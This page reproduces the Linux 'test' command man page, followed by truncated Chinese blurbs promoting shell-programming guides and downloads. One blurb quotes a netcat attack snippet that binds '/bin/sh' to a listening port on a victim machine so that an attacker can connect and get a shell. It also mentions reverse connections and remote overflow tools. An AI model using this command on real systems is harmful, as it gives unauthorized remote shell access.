内容来源 : http://linux.about.com/library/cmd/blcmdl1_test.htm
NAME
test - check file types and compare values
SYNOPSIS
test EXPRESSION
[ EXPRESSION ]
test OPTION
DESCRIPTION
Exit with the status determined by EXPRESSION.
--help
display this help and exit
--version
output version information and exit
EXPRESSION is true or false and sets exit status. It is one of:
( EXPRESSION )
EXPRESSION is true
! EXPRESSION
EXPRESSION is false
EXPRESSION1 -a EXPRESSION2
both EXPRESSION1 and EXPRESSION2 are true
EXPRESSION1 -o EXPRESSION2
either EXPRESSION1 or EXPRESSION2 is true
[-n] STRING
the length of STRING is nonzero
-z STRING
the length of STRING is zero
STRING1 = STRING2
the strings are equal
STRING1 != STRING2
the strings are not equal
INTEGER1 -eq INTEGER2
INTEGER1 is equal to INTEGER2
INTEGER1 -ge INTEGER2
INTEGER1 is greater than or equal to INTEGER2
INTEGER1 -gt INTEGER2
INTEGER1 is greater than INTEGER2
INTEGER1 -le INTEGER2
INTEGER1 is less than or equal to INTEGER2
INTEGER1 -lt INTEGER2
INTEGER1 is less than INTEGER2
INTEGER1 -ne INTEGER2
INTEGER1 is not equal to INTEGER2
FILE1 -ef FILE2
FILE1 and FILE2 have the same device and inode numbers
FILE1 -nt FILE2
FILE1 is newer (modification date) than FILE2
FILE1 -ot FILE2
FILE1 is older than FILE2
-b FILE
FILE exists and is block special
-c FILE
FILE exists and is character special
-d FILE
FILE exists and is a directory
-e FILE
FILE exists
-f FILE
FILE exists and is a regular file
-g FILE
FILE exists and is set-group-ID
-h FILE
FILE exists and is a symbolic link (same as -L)
-G FILE
FILE exists and is owned by the effective group ID
-k FILE
FILE exists and has its sticky bit set
-L FILE
FILE exists and is a symbolic link (same as -h)
-O FILE
FILE exists and is owned by the effective user ID
-p FILE
FILE exists and is a named pipe
-r FILE
FILE exists and is readable
-s FILE
FILE exists and has a size greater than zero
-S FILE
FILE exists and is a socket
-t [FD]
file descriptor FD (stdout by default) is opened on a terminal
-u FILE
FILE exists and its set-user-ID bit is set
-w FILE
FILE exists and is writable
-x FILE
FILE exists and is executable
Beware that parentheses need to be escaped (e.g., by backslashes) for shells. INTEGER may also be -l STRING, which evaluates to the length of STRING.
SEE ALSO
The full documentation for test is maintained as a Texinfo manual. If the info and test programs are properly installed at your site, the command
info test
should give you access to the complete manual.
分享到:
相关推荐
Your UNIX/Linux: The Ultimate Guide, written with both users and programmers in mind, is the ultimate UNIX/Linux text. Both pedagogical tool and exhaustive reference, it is well-suited to any course ...
Unix/Linux 是一种广泛使用的操作系统,尤其在服务器领域和软件开发中占据重要地位。日常操作是每个Unix/Linux用户必备的技能,下面将详细讲解这些操作及其常用命令。 **1. 登录和退出** 登录Unix/Linux系统通常...
本文将围绕“test.zip”压缩包中的“Linux/Unix编程_UNIX_”主题展开,深入探讨C语言在Unix基础控制台编程、管道(pipe)以及逻辑指令处理中的应用。 首先,让我们关注Unix的基础控制台编程。在Unix环境中,C语言是...
在Linux/Unix操作系统环境中,Bash(Bourne-Again SHell)是广泛使用的命令行解释器,也是系统脚本编写的重要工具。标题中的“bastesting.zip_Linux/Unix编程_LINUX_”暗示了这个压缩包包含与Linux/Unix编程相关的...
在IT领域,Linux和Unix操作系统以其稳定性和可定制性深受程序员和系统管理员的喜爱。Shell作为它们的命令行接口,是用户与系统交互的主要工具。本文将基于《LINUX与UNIX SHELL编程指南》这本书的读书笔记,深入探讨...
标题中的“dhdu_linux.rar_Linux/Unix编程_Unix_Linux_”暗示了这是一个与Linux或Unix系统相关的项目,特别是涉及到一个名为“dhdu”的命令行工具的Linux移植版本。这个工具可能是对某个已存在工具的改编,以适应...
《Linux与Unix Shell编程指南》是一本专注于操作系统交互式接口——Shell编程的教程,主要针对Linux和Unix系统。Shell作为用户与操作系统内核之间的桥梁,是进行系统管理、自动化任务执行以及程序开发的重要工具。本...
Linux和Unix系统是开源操作系统的两大代表,它们都支持强大的命令行接口以及脚本编程能力。在Linux和Unix环境中,shell脚本是一种自动化任务的强大工具,可以用来执行一系列的命令,进行文件操作,数据处理,系统...
《Linux和Unix Shell编程指南》是一本专注于Shell脚本编程技术的书籍,它涵盖了Linux与Unix操作系统中的Bash Shell及其他Shell的基本用法、高级特性以及实际应用。在深入理解Shell编程的过程中,掌握这一技能能够极...
Linux和Unix Shell编程是操作系统管理、自动化任务执行以及脚本编写的重要组成部分。这些系统使用Bourne Again SHell (bash) 作为默认的交互式和非交互式Shell,它是许多Unix-like系统(包括Linux发行版)的标准...
《LINUX与UNIX SHELL编程指南》是一本深入讲解Linux和Unix系统中Shell编程的教程。Shell编程是Linux和Unix环境中进行系统管理、自动化任务执行以及脚本编写的关键技术。以下将详细介绍该书可能涵盖的一些核心知识点...
### Linux Command: 使用VI编辑器及LAMP环境搭建详解 #### 概述 在Linux操作系统中,VI(Visual Editor)是一种非常重要的文本编辑工具。它不仅功能强大而且几乎存在于所有类Unix系统中,因此掌握其基本操作对于...
在IT领域,Linux和Unix操作系统以其稳定性和可定制性深受程序员和系统管理员的喜爱。而Shell作为这些系统中的命令行解释器,是用户与系统交互的重要工具。《LINUX与UNIX SHELL编程指南》这本书深入浅出地介绍了如何...
- **定义**: Linux是一种免费使用的类UNIX操作系统,由芬兰人林纳斯·托瓦兹(Linus Torvalds)于1991年首次发布。它基于POSIX和UNIX标准,支持多种平台和处理器架构。 - **特点**: - 开源免费:任何人都可以免费...
### Linux与UNIX Shell编程基础知识详解 #### 一、文件安全与权限管理 在Linux与UNIX系统中,了解文件的安全性和权限设置是非常重要的。这不仅关乎数据的安全性,也关系到系统的稳定性和性能。 ##### 1. 文件权限...
**Linux与UNIX Shell编程指南** 在信息技术领域,Linux和UNIX操作系统是极其重要的组成部分,而Shell则是它们的灵魂之一。Shell作为用户与系统内核之间的接口,提供了命令行交互和脚本编程的能力。本指南将深入探讨...
`sed`(stream editor)是Unix/Linux环境下的流编辑器,主要用于对文本文件进行过滤和转换。它能够实现文本替换、删除、插入等多种操作,并且无需修改原文件,即可在标准输出中看到处理结果。这使得`sed`成为自动化...
nc -l -p port -e /bin/sh //unix,linux attacker machine: //攻击者的机器. nc ip -p port //连接victim_IP,然后得到一个shell。 3.4.反向连接 attacker machine: //一般是sql2.exe,远程溢出,webdavx...
1. Linux的起源:Linux是由计算机爱好者Linus Torvalds开发的,它是一种自由软件,具有开源、稳定和开放性的特点,与Windows和UNIX等操作系统有所不同。Linux的早期版本经过多次修订,发展成如今的多种发行版本,如...